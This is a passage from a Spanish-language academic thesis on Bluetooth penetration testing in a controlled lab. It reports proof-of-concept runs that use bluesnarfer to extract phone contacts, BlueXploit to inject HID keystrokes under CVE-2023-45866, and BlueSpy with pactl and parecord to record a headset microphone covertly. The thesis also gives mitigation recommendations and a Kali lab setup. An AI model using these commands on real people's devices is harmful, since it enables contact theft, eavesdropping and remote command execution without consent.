e  /bluesnarfer -r 1-1000 -C 2 -b <<direccion MAC>>

Detalle

Anexo #4 - Prueba de concepto (PoC): Extraccion de niimeros telefonicos

Resultados

Validacion

e Durante la ejecucion del script se extrajeron 209 contactos telefonicos del dispositivo victima,
que incluian nombre del contacto y el nimero telefénico junto con su prefijo telefonico
internacional (Cddigo de pais ITU-T).
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No se generaron notificaciones de conexion, emparejamiento ni de permiso para acceder a la
agenda telefonica del dispositivo, debido a la explotacion de la vulnerabilidad de emparejamiento
silencioso BLE que se realizo en la prueba anterior.

El tiempo de extraccion de contactos telefonicos al momento de ejecutar el script con las
configuraciones adecuadas no super6é el minuto, esto también dependidé de la cantidad de
contactos telefonicos que tenia el dispositivo.

Conclusiones

Aunque la herramienta cuenta con varios afios desde su creacién, demostrdé funcionar
correctamente si se utiliza después de explotar otras vulnerabilidades que este relacionadas con
la conexioén y emparejamiento que no generen notificaciones, ni sospecha para el usuario.

Para la ejecutar la herramienta se necesitd de un canal abierto en el dispositivo victima, durante
la prueba se utilizé el canal 2, el cual pertenece al servicio de Headset AG (0x1112) y Generic
Audio (0x1203), es decir el servicio que administra el audio en el dispositivo, este canal no
deberia tener ninguna relacion con el servicio de agenda telefonica, como lo seria el canal 19 el
cual maneja el servicio OBEX Phonebook Access Server o el canal 4 con el servicio de
SMS/MMS.

El canal 2 parece ser susceptible a ataques que involucran la ejecucion de cddigo malicioso
mediante conexion remota Bluetooth.

Vilido

Invalido

No concluyente

Tabla 14. Informe de resultado #2 - Prueba de Concepto (PoC): Extraccién de nimeros telefonicos
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DATOS DEL EXPERIMENTO

Titulo del experimento: | Pulsaciones de teclado via Bluetooth

Realizado por:

Luiggi J. De La Cruz Gonzilez

N° de prueba: Prueba —N° 3 Fecha Inicio: 26/05/2025
Tipo de prueba: Prueba de penetracion Fecha fin: 26/05/2025
DETALLES DEL EXPERIMENTO
Objetivo del | Enviar pulsaciones de teclado via Bluetooth hacia un dispositivo para . . .
experimento: ejecutar comandos remotamente. Fase: Fase 3: Explotacion
Nivel ~~ de | \rodio Tiempo de 20 min.
complejidad: ejecucion:
Vulnerabilidada | -y 5053 45866 Téenica de | 1 de concepto (PoC)
explotar: hacking:
HERRAMIENTAS APLICADAS

e Laptop - Extratech
Hardware: e Teléfono - Samsung Galaxy J2 Pro Virtualizacion: | Kali GNU/Linux Rolling x86 64

e Adaptador interno Bluetooth Qualcomm V5.0

e Stack Oficial Bluetooth Linux — BlueZ
Software: ¢ bluetoothctl Tipo de Red: PAN - Red de Area Personal

e BlueXploit

DISENO DEL EXPERIMENTO

Requisitos antes

experimento

Teléfono:

del e El Bluetooth debe estar encendido y en modo descubrible.

e La pantalla debe estar desbloqueada.

e Si es necesario, establecer una conexion y emparejamiento con el dispositivo y la maquina atacante.
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Verificar la version de Android, tiene que estar en el rango de versiones desde la 4.0 hasta la 14 (11 — 14 si

no tienen el parche de seguridad)

Maquina atacante:

La maquina atacante debe estar a una distancia de unos 10 a 15 metros.
Un adaptador Bluetooth compatible (recomendable: Kinivo BTD-400 Adaptador USB)
Utilizar la version de BlueXploit del repositorio de GitHub.

Resumen del proceso

del experimento

En la terminar buscar el directorio de la herramienta BlueXploit
Ingresar al directorio de la herramienta Inyector y ejecutarla con el siguiente comando:
e python3 apkpwn_injector.py

La herramienta Injector nos preguntara si deseamos crear una nueva apk, tendremos que ingresar la palabra:

13 2

yes

Seguidamente nos pedird que le demos nombre, para posteriormente iniciar un servidor local en la maquina
atacante donde se subira la apk.

En otra terminal buscar nuevamente el directorio de la herramienta BlueXploit, y ejecutar el script con el
siguiente comando, donde se indica los parametros de interfaz Bluetooth y la direccion MAC del dispositivo:

e python3 bluexploit -i hci0 -t <<direccion MAC>>

Una vez iniciado el script nos pedira que elegir un payload, para ello podemos configurar el mismo desde otra
terminal siguiendo de ejemplo otros que ya se encuentran precargados.

Finalmente, la herramienta empezara a ejecutarse y termina segun las instrucciones del payload.
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Detalle e Anexo #5 - Prueba de Concepto (PoC): Pulsaciones de teclado via Bluetooth

Resultados

Validacion

El dispositivo reconoci6 a la maquina atacante como un dispositivo HID (Dispositivos de Interfaz
Humana) ademés de lograr una la conexion al dispositivo sin generar notificaciones.

Se enviaron pulsaciones de teclado siguiendo una secuencia de instrucciones a través de una
conexion Bluetooth. En el dispositivo se logrd abrir el navegador del teléfono en modo incdgnito
para escribir la direccion IP de la maquina ataquen y acceder a un recurso de este.

Una vez que finalizo el payload se desconecta del mismo sin dejar sospechas para el usuario,
ademas en el teléfono queda vinculado como un dispositivo HID, con un nombre en especifico.

Conclusiones

Los dispositivos que se encuentra desactualizados y que no ha recibido el parche de seguridad
son vulnerables ante este tipo de ataques de suplantacion de identidad de dispositivos HID.

La Prueba de Concepto (PoC) demuestra que la suplantacion de dispositivos HID (Dispositivos
de Interfaz Humana) como teclados o raton, representan un riesgo para la seguridad de la
informacion y del propio dispositivo, al no al no validar correctamente la identidad de estos
dispositivos, permitiendo la ejecucion remota de comandos sin intervencion del usuario.

El ataque de este tipo puede ejecutarse en un tiempo bastante corto, lo que implica un nivel de
riesgo alto para los usuarios.

e Valido

e Invalido

e No concluyente

Tabla 15. Informe de resultados #3 — Prueba de Concepto (PoC): Pulsaciones de teclado via Bluetooth
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DATOS DEL EXPERIMENTO

Titulo del experimento:

Grabar audio desde un dispositivo Bluetooth

Realizado por:

Luiggi J. De La Cruz Gonzilez

N° de prueba: Prueba — N° 4 Fecha Inicio: 27/05/2025
Tipo de prueba: Prueba de penetracion Fecha fin: 27/05/2025
DETALLES DEL EXPERIMENTO
Objetivo del | Capturar audio de forma remota utilizando un dispositivo Bluetooth .
experimento: configurado como fuente de entrada de audio. Fase: Explotacion
1c\lt::lne[l)lejidad: i Fcil ;l;'leecmulc)&n:l ’ 20 min.
Vulnerabilidad a Canal 2 - Headset AG (0x1112) y Generic Audio (0x1203) Técn.i ca de Prueba de concepto (PoC)
explotar: hacking:
HERRAMIENTAS APLICADAS

e Laptop - Extratech

e Audifonos inaldambricos — F9 . L . . .
Hardware: e Altavor LG - PHI Virtualizacion: | Kali GNU/Linux Rolling x86 64

e Adaptador interno Bluetooth Qualcomm V5.0

e Stack Oficial Bluetooth Linux — BlueZ

e bluetoothctl
Software: e BlueSpy Tipo de Red: PAN - Red de Area Personal

e Audacity

e PulseAudio

DISENO DEL EXPERIMENTO

Requisitos antes del Dispositivos de audio Bluetooth:
experimento e Los dispositivos de audio deben tener un micr6fono incluido en su sistema.
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Los dispositivos de audio deben tener el Bluetooth encendido y en modo descubrible.

Magquina atacante:

Estar a una distancia de entre 5 a 10 metros de distancias.

Utilizar herramientas especializadas para auditar dispositivos de audio Bluetooth

Resumen del proceso

del experimento

Ingresar al directorio que contiene la herramienta BlueSpy.
Utilizar la herramienta bluetoothctl para escanear y obtener la direccion MAC del dispositivo de audio.

Con la direccion MAC ejecutar el script de Python con el nombre de la herramienta BlueSpy, para ello utilizar
el comando:

e python3 BlueSpy.py -a <<direccion MAC>>

Para corregir el error de la herramienta al momento de ejecutarla utilizar el comando que se sugiere (la
direccion MAC se la ubica con guiones bajos):

e pactl set-car-profile bluez card.41 42 56 01 EO 32 headset-head-unit
En otra terminal continua el proceso para grabar audio, finalmente se ejecuta el siguiente comando:
e parecord -d bluez_input.41 42 56 01 EO 32 audio4.wav

Para escuchar el audio que se grabo se utiliza el software Audacity, primero se tiene que buscar el audio en la
ruta donde se haya guardado y ejecutar el siguiente comando (nombre de la herramienta y el nombre del
archivo de audio):

e audacity audio4.wav

Detalle

Anexo #6 - Prueba de concepto (PoC): Grabar audio via Bluetooth
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Resultados

Validacion

Se logro conectar a los dispositivos de audio Bluetooth sin requerir autorizacion previa mediante
la herramienta BlueSpy.

Se accedid remotamente al micréfono del dispositivo de audio y se logré modificar su perfil de
audio para habilitar la captura de sonido.

Se logré capturar y almacenarlo una secuencia de audio en un archivo con formato WAV, sin la
intervencion de usuario.

La calidad de audio que se obtuvo fue moderadamente buena, aunque esto dependera del tipo de
microfono incorporado en el dispositivo, asi como a la distancia a la que se encuentre con la
fuente de sonido.

Conclusiones

Es posible explotar vulnerabilidades en dispositivos de audio Bluetooth, conectarse y acceder a
elementos como el micréfono sin autorizacion, lo que representando un riesgo significativo a la
privacidad del usuario.

No existe validacion en el cambio de perfiles de audio (por ejemplo: "headset-head-unit"), lo que
permite la captura remota de audio.

La evaluacion demostro la falta de seguridad en los canales de audio estdndar (canal 1, 2 y 3) de
dispositivos Bluetooth.

Valido

Invalido

No concluyente

Tabla 16. Informe de resultados #4 — Prueba de Concepto (PoC): Grabar audio via Bluetooth
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3.6. Medidas de seguridad Bluetooth en Redes de Area Personal (PAN)

De acuerdo con la investigacion y los resultados de este proyecto, se evidencia que la

seguridad del protocolo Bluetooth es vulnerable ante ciertos escenarios, lo que permite

que los ciberdelincuentes puedan comprometer la privacidad y la informacion de los

usuarios a través de diversos métodos de ataque. Por ello, es necesario conocer y aplicar

buenas practicas de seguridad que permitan mitigar estos riesgos, considerando tanto las

configuraciones del dispositivo, actualizaciones y conocimiento de los usuarios sobre los

riesgos de este protocolo.

Para esta seccion se tomaron como referencia las siguientes normas internacionales de

seguridad informatica; ISO/CEI 27001:2022, NIST SP 800-121 Rev.2 y IEEE 802.15.1

Recomendaciones de seguridad para Bluetooth en Redes de Area Personal

(PAN)

Medida de seguridad

Descripcion

Configuracion segura
para dispositivos
Bluetooth

Eliminar parametros predeterminados:

e Modificar los identificadores visibles de los
dispositivos (nombres por defecto del dispositivo),
claves predeterminadas y codigos PIN de fabrica.

Desactivar Bluetooth:

e Desactivar el Bluetooth en dispositivos cuando estos
no se encuentren en uso, especialmente en lugares
publicos.

Restriccion de conexiones:

e Limitar (st es posible) el nimero maximos de
dispositivos ~ conectados  para  conexiones
simultaneas a hacia otros dispositivos.

Claves compartidas:

e Evitar el uso de claves o cddigos compartidos por
defecto.

Potencia de transmision:

e Si es posible en el dispositivo, ajustar la potencia de
emision al nivel minimo requerido.

Desactivar perfiles y servicios:

e Siesposible en el dispositivo, activar inicamente los
perfiles de comunicaciéon necesarios para la
operacion.
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https://www.danielbonina.com/wp-content/uploads/ISO-IEC-27001-2022.Espanol.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-121r2-upd1.pdf
http://zatto.free.fr/manual/802.15.1-2005_part1.pdf

Gestion y visibilidad
del dispositivo

Estado no descubrible por defecto:

e Configurar en los dispositivos Bluetooth el modo no
descubrible, y solo habilitarlo cuando este seguro de
un emparejamiento autorizado.

Administracion de dispositivos:

e Revisar periodicamente la lista de dispositivos
vinculados.

e Desvincular aquellos que ya no sean necesarios en el
dispositivo.

e Revisar los permisos
dispositivos al vincularse.

de que requieren los

Permiso de aplicaciones:

e Revisar que aplicaciones tienen acceso a Bluetooth.
e Restringir los permisos de aplicaciones
desconocidas o que no son compatibles.

Proceso de
emparejamiento

Evitar el uso de métodos no autenticados:
e El método Just Work debe estar deshabilitado de los
dispositivos.
Verificar el proceso de emparejamiento:
e Utilizar el emparejamiento autenticado
verificacion de codigo cada vez que sea posible.

e Validar codigos de emparejamiento visualmente
antes de aceptar.

con

Actualizacion de
dispositivos Bluetooth

Actualizacion de firmware

e Aplicar periddicamente las actualizaciones de
seguridad de los fabricantes.

e Consultar novedades referentes a la seguridad del
dispositivo en sitios oficiales.

Revision de log de

Logs de emparejamiento:

e Siel dispositivo lo permite, consultar los registros de

emparejamiento intentos de emparejamiento y actividad Bluetooth
para detectar accesos no autorizados.
Politicas de seguridad en organizaciones:
Politicas e Definir politicas que regulen el uso de la tecnologia
Institucionales de Bluetooth.
seguridad e Limitar el uso de Bluetooth para transmitir

informacion sensible.
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Gestion de activos de
dispositivos bluetooth

Inventario de dispositivos:

e Mantener un inventario actualizado de los
dispositivos que usan Bluetooth.

Capacitacion

Capacitacion a usuarios:

e Otorgar informacion periddica sobre los riesgos de
la seguridad Bluetooth en el plan de capacitacion
organizacional.

Supervision y
auditoria

Auditorias periodicas:

e Establecer auditorias periddicas sobre las
configuraciones de seguridad Bluetooth.

e En el area de sistemas o similar implementar
herramientas de monitoreo de actividad Bluetooth.

Tabla 17. Recomendaciones de seguridad para Bluetooth (Fuente: [40], [71], [72])
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CONCLUSIONES

La revision bibliografica del estdndar Bluetooth [IEEE 802.15.1] permitio
comprender el proceso de comunicacion entre los dispositivos que utilizan esta
tecnologia, incluyendo su aplicacién en las Redes de Area Personal (PAN).
Durante la investigacion se revisaron los componentes estructurales de la
arquitectura y pila del protocolo Bluetooth, asi como sus métodos de seguridad,
tanto de Bluetooth Classic (BR/EDR) como de Bluetooth Low Energy (BLE).
Estas bases teoricas permitieron comprender por qué la seguridad del estandar
Bluetooth se ve expuesta ante diversas amenazas, y como los diferentes
dispositivos implementan los mecanismos de seguridad en funcién de sus

capacidades y propositos operativos.

El disefo de un entorno de pruebas controlado, junto con la seleccion de diversas
herramientas de codigo abierto y dispositivos Bluetooth, evidencio ser una buena
practica en la evaluacion de ciberseguridad para el protocolo Bluetooth, al
permitir la simulacion de diversos escenarios de pruebas de reconocimiento,
andlisis y explotacion de vulnerabilidades sin comprometer informacion de
terceros. Ademds, se usé la metodologia especializada para pruebas de
penetracion PTES (Penetration Testing Execution Standard), la cual aporté una
estructura técnica al proceso. La aplicacion de todos estos elementos dio como
resultados pruebas satisfactorias que demuestran la viabilidad para analizar
vulnerabilidades en el protocolo Bluetooth en el contexto de las Redes de Area

Personal (PAN).

Mediante el uso de herramientas de codigo abierto como; BlueZ, bluetoothctl,
Wireshark, BlueSpy, BlueXploit y Bluesnarfer, se identificaron y explotaron
varias vulnerabilidades presentes en dispositivos Bluetooth. Las pruebas de
concepto que se aplicaron en los diferentes escenarios del entorno controlado
permitieron evidenciar fallos de seguridad en el protocolo Bluetooth, como
emparejamientos silenciosos (CVE-2020-35693), extraccion no autorizada de
informacion mediante canales no previstos, inyeccion de comandos a través de
dispositivos HID (CVE-2023-45866) y la captura remota de audio sin

consentimiento del usuario. Estos hallazgos demuestran las diferentes formas en
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la que un atacante puede comprometer la seguridad de dispositivos Bluetooth,

especialmente aquellos con firmware desactualizado o sin validaciones internas.

De acuerdo con los resultados del proyecto se videncia la importancia de
implementar medidas de seguridad adecuadas para mitigar las vulnerabilidades
del protocolo Bluetooth. Las buenas practicas como el uso de emparejamientos
seguros y la actualizacion periddica de los dispositivos contribuyen a la reduccion

de riesgo de diferentes ataques.

RECOMENDACIONES

Profundizar en los aspectos técnicos de la comunicacion del estandar Bluetooth,
especialmente el uso de algoritmos criptograficos, mecanismos de cifrado y la
gestion de claves que utiliza esta tecnologia para su seguridad. Indagar sobre estos
elementos permitiria conocer como trabaja el protocolo a nivel de enlace de datos,

y evaluar mejor su seguridad frente a escenarios de interceptacion de datos.

En los escenarios de prueba, se recomienda ampliar la seleccion de dispositivos
Bluetooth que son utilizados en otras areas de la tecnologia. Incorporar otros
equipos con diferentes versiones del protocolo (desde 4.0 hasta 5.4), capacidades
de seguridad y funcionalidades, posibilitaria la evaluacion de otros elementos

adicionales relacionados a su seguridad.

Para lograr una evaluacion mas completa sobre las vulnerabilidades que afectan
al protocolo Bluetooth y obtener mejores resultados, al momento de realizar las
pruebas de penetracion, es necesario contar con equipo de hardware adicional y
especializado para auditar este tipo de protocolo. El uso de adaptadores Bluetooth
externos con antenas de largo alcance compatible con las versiones mas recientes
de Bluetooth Classic (BR/EDR) y Low Energy (BLE), asi como mddulos de
antenas de alta frecuencia, microcontroladores programables y dongles tipo USB,
facilitarian una captura mas exacta de los paquetes de comunicacién y al mismo

tiempo la emulacion de ataques mas complejos.
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Anexo #1 Configuracion del laboratorio de pruebas

Se tiene que descargar el archivo ejecutable del software VirtualBox desde su pagina

oficial en Oracle VirtualBox de acuerdo con el sistema operativo que tenga.

? Downloads - Oracle VirtualBox X +

25 virtualbox.org/wiki/Downloads

Historial de descargas recientes

[} VirtualBox-7.1.8-168469-Win.exe
19 MB « Listo

Historial de descargas completo

Download VirtualBox

The VirtualBox Extension Pack is available for personal and educational use on this page under the PUEL license. The VirtualBox Extension Pack Is also
available under commercial or enterprise terms. By downloading, you agree to the terms and conditions of the respective license.

LLTLTAIALLA

VirtualBox Platform Packages VirtualBox Extension Pack
VirtualBox 7.1.8 Extension Pack
VirtualBox 7.1.8 platform packages

st This VirtualBox Extension Pack Personal Use and Educational License

governs your access to and use of the VirtualBox Extension Pack. It does
not apply to the VirtualBox base package and/or its source code, which
are licensed under version 3 of the GNU General Public License “GPL").

See our FAQ for answers to common questions.

VirtualBox Extension Pack Personal Use and Educational License
(PUEL)

Platform packages are released under the terms of the ersior PUELF";‘SE”“ ESEeense Accept and download

AR

Figura 34. Descargar el ejecutable de VirtualBox.

Ejecutar el archivo como administrador, aceptar los términos y condiciones de software

y esperar a que termine de instalarse.

Oracle VirtualBox 7.1.8

Please wait while the Setup Wizard installs Oracle VirtualBox 7.1.8. This may take
several minutes.

Status:  Installing support driver ...

Version 7.1.8 Cancel

0:35

O
M TOD s

Figura 35. Instalar VirtualBox en Windows.
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Ventana principal del software VirtualBox, donde se puede crear una maquina virtual y

se configuran otros aspectos técnicos.

Oracle VirtualBox Administrador

Archivo  Méaquina  Ayuda

1

Figura 36. Ventana principal de VirtualBox.

Crear una nueva maquina virtual con el nombre de Kali Linux para poder ejecutar el
sistema operativo, en este se deben configurar aspectos como, memoria RAM,

almacenamiento, nimeros de procesadores, memoria de video, adaptadores, entre otros.

Oradle VirtualBox Administrador

Archivo  Maquina  Ayuda

I .4 & e

Nueva Adadir Configuracién

2 General 2 Previsualizacién
Ao ;

Kali Linux

X, Paravirtualizacién KVM

M Carpetas compartidas

Ninguno

Figura 37. Méquina virtual para Kali Linux.
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Lo siguiente que se necesita hace es descargar la imagen ISO del sistema operativo de
Kali Linux desde su pagina oficial en Get Kali | Kali Linux, en este caso una imagen de

64 bits.

v ® ™ Obtener Kali | Kali Linux
<« G 2% kaliorg/get-kali/# B x ® x O

Historial de descargas recientes

. kali-linux-2025.1c-installer-amdé4.iso

Registro de cambios de Kali Linux 20 ————————

[u] VirtualBox-7.1.8-168469-Win.exe
19 MB » Hace 9 minuto:

x86_64 Silicona de Apple (ARM64  Historial de descargas completo

¥ Recommended

Instalacién completa sin
conexién con personalizacién

Figura 38. Descargar la imagen ISO de Kali Linux.

En la configuracién de la maquina virtual, en la seccion de almacenamiento y unidad
optica necesitamos buscar la imagen ISO que descargarnos y agregarla a seccion que
indica “disco vacio” antes de iniciarla.

Archivo  Méquina  Ayuda

[ s 4 & $ S

Nueva Adadir Configuracién Iniciar

% evisualizacién
©

Basic “ Seleccione un archivo de disco éptico virtual

< ) v M > Esaito... > Kali Linux
[ ceneral :

[C] Pantalla OneDrive - Persc

Kali Linux

g x-2025.1c-installer-amdé4.iso
B Amacenamiento

P Audio

[ Red

' Puertos serie
&® uss

I cCarpetas compart

w\kali-li.

Bl interfaz de usuari
Nombre de archivo: kali-linux-2025.1c-installer-ar To hivos de discos 6f

[ Abrir Cancelar Ayuda

Filtros de dispositivos: 0 (0 activo

M Carpetas compartidas

Ninguno

Figura 39. Agregar imagen ISO en la maquina virtual.
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Inicia la maquina virtual para comenzar la instalacion y configuracion del

operativo Kali Linux.

E)

Archivo Maquina Ver Entrada D

Figura 40. Inicia la maquina virtual con Kali Linux.

. (kA

-

Rali Linx fnstaller menu (BIOS node)

] ?n»lul install
o

sistema

Para el proceso de instalacion del sistema operativo se necesitas elegir el idioma, en este

caso se elige el idioma espanol.

Select a language

Choose the language to be used for the installation process. The selected language will also be the default

language for the installed system.

Language:

Punjabi (Gurmukhi}
Romanian
Russian

Serbian (Cyrillic}
Sinhala

Slovak
Slovenian
Spanish
Swedish

Tagalog

Tajik

Tamil

Telugu

Thai

Screenshot

£ Buscar

- i

- Romana

- Pycckuit

- Cpnckm

- Bemg

- Slovenéina
- Slovenicina
- Espanol

- Svenska

- Tagalog

- Townki

- @by

- e

- nwaln

Figura 41. Elegir idioma.
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Elegir zona horaria para ayudar a la localizacion del sistema, la localizacion dependera

del pais, en este caso Ecuador.

Entrada

Seleccione su ubicacion

La ubicacién seleccionada aqui se utilizara para fijar su zona horaria y también como ejemplo para ayudarle a
seleccionar la localizacion de su sistema. Esta localizacién sera habitualmente el pais donde vd. vive.

Esta es una lista reducida de ubicaciones basada en el idioma que ha seleccionado. Escoja «otro» si su
ubicacién no ests en la lista.

Pais, territorio o drea:

Argentina
Bolivia
Chile
Colombia
Costa Rica
Cuba
Ecuador

El Salvador
Espafia
Estados Unidos
‘Guatemala
Honduras

México

Capturar la pantalla Retroceder | [ Continuar

Figura 42. Elegir ubicacion.

Elegir la configuracion del teclado para el sistema operativo, es decir, en que idioma se

va a presentar.

Wer Entrads D

Configure el teclado

Mapa de teclado a usar:
Panyabi

Rumano

Ruso

Serbio (cirilico)
sindhi

Cingalés

Eslovaco

Esloveno

Sueco
Francés suizo
Aleman suizo
Tayiko

Tamil

Telugu
Tailandés

Tibetano

Capturar la pantalla Retroceder ‘ [ Continuar
= . X

| O Buscar

Figura 43. Configuracion de teclado.
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Ingresar el nombre de la maquina, debe ser una sola para ser inidentificada en el sistema

en la red.

Configurar la red

Por favor, introduzca el nombre de la miquina.

El nombre de maquina es una sola palabra que identifica el sistema en la red. Consulte al administrador de red
si no sabe qué nombre deberia tener. Si esta configurando una red doméstica puede inventarse este nombre.

Nombre de la maquina:

kali

Capturar la pantalla Retroceder | [ Continuar

O Buscar

Figura 44. Ingresar el nombre de la maquina.

Ingresar el nombre de usuario para crear una cuenta y usarla como super usuario para

tareas administrativas.

wer Entrads D

c usuarios y

Se creara una cuenta de usuario para que la use en vez de la cuenta de superusuario en sus tareas que no
sean administrativas.

Por favor, introduzca el nombre real de este usuario. Esta informacion se usard, por ejemplo, como el origen
predeterminado para los correos enviados por el usuario o como fuente de informacién para los programas que
muestren el nombre real del usuario. Su nombre completo es una eleccién razonable.

Nombre completo para e nuevo usuario:

Kkl

Capturar la pantalla Retroceder | [ Continuar

O Buscar

Figura 45. Ingresar un nombre para la cuenta de super usuario.
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Crear un nombre de usuario para la cuenta, independiente de la cuenta de super usuario.

Configurar usuarios y

Seleccione un nombre de usuario para la nueva cuenta. Su nombre, sin apellidos ni espacios, es una eleccién
razonable. El nombre de usuario debe empezar con una letra minuscula, seguida de cualquier combinacion de
nimeros y més letras mintsculas.

Nombre de usuario para la cuenta:

[kali\

Capturar la pantalla Retroceder ‘ [ Continuar

Figura 46. Ingresar un nombre de usuario para el sistema general.

Crear una contrasefa para el sistema operativo Kali Linux, puedes crear una contrasefia

facil de recordar o puedes ingresar el nombre del propio sistema

C usuarios y

Asegtirese de seleccionar una contraseiia segura que no pueda ser adivinada.
Elija una contrasefia para el nuevo usuario:

kali

Mostrar la contrasefia en claro

Por favor, introduzca la misma contraseiia de usuario de nuevo para verificar que la introdujo correctamente.
Vuelva a introducir la contrasena para su verificacion:

kali

|Mostrar la contraseiia en claro|

| Capturar la pantalla Retroceder ‘ [ Continuar

& O Buscar

Figura 47. Ingresar una contrasena
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Debemos elegir la zona horaria para el reloj del sistema.

configurar el reloj

Si la zona horaria deseada no esta en la lista entonces vuelva atras al paso «Escoja el idioma» y seleccione un
pais que utilice la zona horaria deseada (el pais donde vive o esta ubicado).

Seleceione una ubicacion en su zona horaria:

Islas Galapagos

Capturar la pantalla Retroceder | [ Continuar

Figura 48. Elegir zona horaria.

Debemos utilizar toda la particion del disco para el sistema operativo.

Particionado de discos

Este instalador puede guiarle en el particionado del disco (utilizando distintos esquemas estandar) o, si lo
desea, puede hacerlo de forma manual. scoge el sistema de particionado guiado tendra la oportunidad
mas adelante de revisar y adaptar los resultados.

si elige la particion guiada en un disco completo, se le preguntara qué disco desea utilizar.
Método de particionado:

Guiado - utilizar todo el disco

‘Guiado - utilizar el disco completo y configurar LVM

Guiado - utilizar todo el disco y configurar LVM cifrado

Manual

Capturar la pantalla | | Retroceder | [ Continuar

Figura 49. Elegir las particiones del disco.
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Debemos elegir la participacion virtual hecha en VirtualBox y ocuparla para el sistema

operativo

Wer Entrads D

Particionado de discos

Tenga en cuenta que se borraran todos los datos en el disco que ha seleccionado. Este borrado no se realizara
hasta que confirme que realmente quiere hacer los cambios.

Elja disco a particionar:

SCSI3 (0,0,0) (sda) - 21.5 GB ATA VBOX HARDDISK

Capturar la pantalla Retroceder ‘ [ Continuar

Figura 50. Elegir la particion virtual

Debemos utilizar toda la particion del sistema para el fichero de archivo del sistema

operativo.

Entrada

Particionado de discos

Seleccionado para particionar:

SCSI3 (0,0,0) (sda) - ATA VBOX HARDDISK: 21.5 GB

Este disco puede particionarse siguiendo uno o varios de los diferentes esquemas dispenibles. Si no esta
seguro, escoja el primero de ellos.

Esquema del particionado:

Todos los ficheros en una particién (recomendado para novatos)

Separar la particion /home

Separar particiones /home, /var y ftmp

Separar /var y /srv, swap < 1 GB (para servidores)

Esquema de particionado para discos pequefios (<10 GB)

Capturar la pantalla | | Retroceder | [ Continuar

Figura 51. Elegir que todos los ficheros estén en una particion.
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Revisar los detalles de las particiones y finalizar el proceso de sobre escritura del disco.

Entrada

Particionado de discos

Este es un resumen de las particiones y puntos de montaje que tiene configurados actualmente. Seleccione una particion
para modificar sus valores (sistema de ficheros, puntos de montaje. etc.). el espacio libre para afiadir una particion nueva
o un dispositive para inicializar 2 tabla de particiones.

Particionado guiado

Configurar RAID por software

c el Gestor de Voli Légicos (LVM)
Configurar los volimenes cifrados

Configurar los volimenes iSCSI

= 5CSI3 (0,0,0) (sda) - 21.5 GB ATA VBOX HARDDISK
> #1 primaria  20.3GB f exta i

> #5 logica 1.2GB f intercambio intercambio

Deshacer los cambios realizados a las particiones

Finalizar el particionado y escribir los cambios en el

Capturar la pantalla ‘ | Retroceder | [ Continuar

Figura 52. Finalizar la escritura y particiones.

Aceptar y aplicar las condiciones de cambio de los discos y continuar.

n de ratdn,

Particionado de discos

Se escribiran en los discos todos los cambios indicados a continuacién si continiia. Si no lo hace podra hacer
cambios manualmente.

Se han medificado las tablas de particiones de los siguientes dispositives:
SCs13 (0,0,0) (sda)

Se formatearan las siguientes particiones:
particion #1 de SCSI3 (0,0,0) (sda) como ext4
particién #5 de SCSI3 (0,0,0) (sda) como intercambio
iDesea escribir los cambios en los discos?

O No
®si

Caprurar | pantalla

Figura 53. Aceptar los cambios en los discos
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Esperamos a que finalice la instalacion

Instalar el sistema base

it (Tl s

Extrayendo bash...

Figura 54. Instalacion de Kali Linux.

Una vez finalizada la instalacion se presenta la ventana principal del sistema operativo
Kali Linux. Seguidamente, debe actualizar todos los paquetes para que la instalacion sea

correcta, lo puede hacer con el siguiente comando:

e sudo apt update & sudo apt upgrade -y

root@kali: fhome/kali

Archive Acciones Editar Vista Ayuda

/home/kali
|

BongdsmE i

£ Buscar . - £ o ~ t@ @ 7 d) EsP

Figura 55. Venta principal Kali Linux.
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Agregar adaptador bluetooth a la maquina virtual, aseglirese de que su adaptador
bluetooth esté conectado a su maquina virtual y que vea el simbolo de bluetooth en Kali

Linux.

O3 40 A gis|a e

Figura 56. Agregue el adaptador bluetooth a la maquina virtual

Iniciar el servicio Bluetooth en Kali Linux: Una vez agregado el adaptador bluetooth
tiene que iniciar el servicio bluetooth y asegurarse de que el adaptador este en encendido.

Para ello, siga los siguientes comandos:

sudo rfkill unblock bluetooth
sudo systemctl start bluetooth
sudo hciconfig hciO up

sudo systemctl status bluetooth

Nota: en caso de que no encienda el servicio bluetooth en Linux, puede consultar el
siguiente enlace para obtener mas informacion: Enable Bluetooth on Kali Linux. Quickly
Activate Bluetooth with a One... | by Alpondith | Exploring Linux | Medium

qem O 3 ¢ A ga7 | & ¢

root@kali: fhome/kali

File Actions Edit View Help
/home/kali /home/kali
/home/kali
start bluetoott

/home/kali

/home/kali

=11 ¥) 6 B CTRL DERECH)

02

o 11/05/2025 E”

Figura 57. Iniciar el servicio bluetooth.
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https://medium.com/exploring-linux/enable-bluetooth-on-kali-linux-with-a-single-click-72f39ec2079f
https://medium.com/exploring-linux/enable-bluetooth-on-kali-linux-with-a-single-click-72f39ec2079f

Instalacion y configuracion de herramientas

BlueZ: Es el stack oficial de Bluetooth para el sistema operativo Linux, que incluye
herramientas como bluetoothd, bluetoothctl, hciconfig, hcitool, btmon, bluesnarfer,

sdptool, refcomm, entre otras. Se instala con el comando:
e sudo apt install bluez -y

/home/kali
install bluez

mas reciente (5 -1).
manualmente.

Utilice apt autor » para eliminarl

Summary :
Upgrading: @, Installing: @, Removing: @, Not Upgrading:

Figura 58. Instalar BlueZ

Bluesnarfer: Herramienta que permite acceder de forma no autorizada a la agenda de
contactos, mensajes y otros datos almacenados en dispositivos Bluetooth vulnerables.

Opera principalmente sobre el perfil OBEX mediante conexiones RFCOMM.

narfer: B o ox 4

httpsy//github.com Kirmbo/bluesnarfer

= Q kimbo / bluesrarfer

> Code 4 11 pullrequests & Adions [ Projects @ y |~ Insights

@ bluesnarfer Fuoic SWatch 1~

¥ kali/master - ¥ {Branch © 0Tags Q Gotofile t Add file ~ <> Code = About
Loaal Codespaces Bluetooth hack, forked from
@ «imbo Merge pull request #3 from
B3 Clone
M debian Update URL in Gi

HTTPS  SSH  GitHub CLI
™ include Imported Upstrea

M Readme
Update hluesnarf
cle of conduct
, adld
fire efile, add
1
3 README.md add code link to de.__ o
Report rep
[ README @ Code of concluct

Contributors 4

B|uesnarfer L™} rhertzog Raphatl Hertzog

. Kimbo Kimball Leavitt
p={

@ e P 1254
®) : ' 16/06/2025 &

Bluesnarfing is the unauthorized of information from a wireless device through a Bluetooth connection, often

Figura 59. GitHub - Bluesnarfer
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Copiar el repositorio e ir a su directorio y desplegar los archivos de la herramienta

e git clone https:/github.com/kimbo/bluesnarfer.git

